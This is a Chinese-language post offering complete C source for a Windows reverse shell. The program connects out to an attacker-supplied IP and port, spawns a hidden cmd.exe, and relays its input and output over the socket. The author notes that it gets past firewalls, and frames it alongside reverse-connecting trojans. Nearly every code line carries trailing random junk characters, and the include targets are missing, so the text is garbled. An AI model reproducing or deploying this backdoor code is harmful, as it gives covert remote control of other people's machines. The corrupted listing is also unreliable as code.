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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 `c$V$/IT  
mfr|:i  
/* ============================== z{QqY.Gu{G  
Rebound port in Windows NT W=?<<dVYD  
By wind,2006/7 ? J0y|  
===============================*/ Bzf^ivT3L  
#include I?CZQ+}Hq  
#include 'g\4O3&_  
L4W5EO$  
#pragma comment(lib,"wsock32.lib") 6=C<>c %+  
tw@X> G1z  
void OutputShell(); PJ#,2=n~  
SOCKET sClient; ~n_HP_Kf?  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; He@KV=  
^\m![T\bX  
void main(int argc,char **argv) TWTb?HP  
{ f o3}W^0  
WSADATA stWsaData; ;uGv:$([g  
int nRet; F+qm[Bc8  
SOCKADDR_IN stSaiClient,stSaiServer; YmG("z  
$`8wJf9@w  
if(argc != 3) ]SEZaT  
{ sI2^Qp@O1  
printf("Useage:\n\rRebound DestIP DestPort\n"); Ewz!O`  
return; %hP^%'G  
} HzsdHH(J  
.%-8 t{dt  
WSAStartup(MAKEWORD(2,2),&stWsaData); c+ie8Q!  
ueNS='+m  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *un^u-;  
u3 D)M%e  
stSaiClient.sin_family = AF_INET; H5an%kU|j  
stSaiClient.sin_port = htons(0); sLk-x\P]|  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \;Weizq5  
x+]"  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 6A ah9   
{ |.dRily+  
printf("Bind Socket Failed!\n"); |w=zOC;v  
return; ['D]>Ot68  
} U<XG{<2  
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stSaiServer.sin_family = AF_INET; x{n=;JD  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;Rf'P}"]  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); LzL So"n  
E{(;@PzE  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) xIn:ZKJ'  
{ i.#:zU%o  
printf("Connect Error!"); I/N *gy?*  
return; k5)om;.w  
} `]aeI'[}R  
OutputShell(); rm_Nn8p,  
} Hn:Crl y#  
7zc^!LrW<  
void OutputShell()  D%Z|  
{ iy"*5<;*DD  
char szBuff[1024]; %iB,IEw  
SECURITY_ATTRIBUTES stSecurityAttributes; O6Y0XL  
OSVERSIONINFO stOsversionInfo; 9+N-eW_U  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ="e+W@C  
STARTUPINFO stStartupInfo; eS! /(#T  
char *szShell; khd4ue$  
PROCESS_INFORMATION stProcessInformation; >Q*Wi  
unsigned long lBytesRead; \)e'`29;  
6LhTBV  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); d;>QhoiL  
~LC-[&$  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); KPki}'GO  
stSecurityAttributes.lpSecurityDescriptor = 0; -\MG}5?!  
stSecurityAttributes.bInheritHandle = TRUE; FI.\%x  
d(K +);!  
I^]nqK  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Vvo 7C!$z  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6u%&<")4HP  
4M T 7`sr  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |j|rS5  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Gw` L"  
stStartupInfo.wShowWindow = SW_HIDE; '"Nr,vQo  
stStartupInfo.hStdInput = hReadPipe; gG uO  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; PY'2h4IL  
2<6UwF  
GetVersionEx(&stOsversionInfo); p7 ~!z.)o  
1;iUWU1@  
switch(stOsversionInfo.dwPlatformId) ry]l.@o;  
{ {8etv:y  
case 1: HZOMlOZ  
szShell = "command.com"; ?]5qr?W%  
break; OrW  
default: u? EN  
szShell = "cmd.exe"; F"kAkX>3}  
break; rM SZ"  
} 3g B7g'U  
`0svy}  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /kG_*>.Z  
/_.|E]  
send(sClient,szMsg,77,0); IGgL7^MF  
while(1) ,: ^u-b|  
{ ~"bV L[  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); *^r}"in  
if(lBytesRead) o;*Q}Gr<M  
{ fV~~J2IK  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _v:SP LU  
send(sClient,szBuff,lBytesRead,0); `@%LzeGz  
} ` %}RNC  
else -RLOD\ZBh  
{ ;@J}}h'y  
lBytesRead=recv(sClient,szBuff,1024,0); (At$3b6  
if(lBytesRead<=0) break; @+DX.9  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); fsXy"#mOkD  
} d_ CT $  
} VaPG-n>Vf  
eH,or,r  
return; A(XKyEx  
}
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